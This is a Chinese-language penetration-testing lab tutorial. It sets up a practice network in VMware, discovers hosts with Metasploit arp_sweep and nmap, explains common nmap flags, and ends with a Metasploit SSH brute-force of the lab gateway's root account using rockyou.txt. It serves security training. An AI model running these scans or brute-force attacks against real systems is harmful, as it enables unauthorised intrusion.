Metasploit 渗透测试 - 靶场搭建与信息收集
一、网络环境(靶场)搭建
按照《METASPLOIT渗透测试魔鬼训练营》书中第二章所描述的步骤,在 VMware 上搭建完整的靶场网络环境。其中攻击机理论上可以任意选择,甚至可以用宿主机,本例选用了 Kali 虚拟机作为攻击机,形成下图所示的网络结构。
二、信息收集
使用 arp_sweep 模块探测存活主机
我们使用 arp_sweep 模块探测 10.10.10.0/24 网段存活的主机。在 msfconsole 下执行:
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 10.10.10.0/24
set THREADS 50
run
扫描结果探测到宿主机 10.10.10.1 和 10.10.10.2,同时发现网站服务器(10.10.10.129)、后台服务器(10.10.10.130)、网关服务器(10.10.10.254)。
使用 nmap 进行存活探测
也可以使用 nmap 命令扫描存活主机:
nmap -sn 10.10.10.0/24
nmap 常用参数说明
nmap 的常用参数可分为两种:
- -P?(Ping,主机发现):主机发现参数,?为其余选项
- -s?(scan,扫描):扫描参数,?为其余选项
具体参数示例:
- -Pn(not Ping):含义是跳过主机发现
- -PS(Ping TCP SYN):含义是向指定端口发送 TCP SYN 包进行探测
- -sU(UDP scan):含义是发送 UDP 包探测 UDP 端口
- -sV(Version scan):含义是探测开放端口上运行的服务/版本
另外还有些常用参数:
- -O(Operation system):操作系统检测
- -v(verbose):输出更加详细的信息
- --script=<Lua scripts>:采用指定 Lua 脚本进行扫描
- -A(Aggressive):同时启用了 -O(操作系统检测)、-sC(默认脚本扫描)、-sV(版本检测)和 --traceroute(路由追踪)这四个核心功能扫描
服务版本探测
我们使用 -sV 参数探测网站服务器 10.10.10.129 端口上运行的服务:
nmap -sV -v 10.10.10.129
该命令可以识别出各个端口上运行的具体服务和版本号,为后续的漏洞利用提供重要信息。
三、漏洞利用
基本流程
对于特定服务的漏洞可以通过在 msfconsole 中使用以下流程进行利用:
- 使用 search 命令搜索相关模块
- 使用 show options 命令查看所需参数
- 使用 set 命令设置参数
- 使用 run 或 exploit 命令执行
SSH 密钥爆破示例
以 SSH 爆破为例,使用 auxiliary/scanner/ssh/ssh_login 模块对目标进行ssh密码爆破,使用kali自带的rockyou.txt作为密钥字典:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.254
set USERNAME root
set PASSFILE <你的rockyou.txt路径>
set THREADS 100
set VERBOSE true
run
当尝试到密钥 "ubuntu" 时成功登录。由于在虚拟机中执行扫描实在太慢,可通过 grep 命令验证 rockyou.txt 里包含目标密码:"ubuntu",理论上可以成功。
也可以人工构建更小的 PASSFILE 以加快测试速度。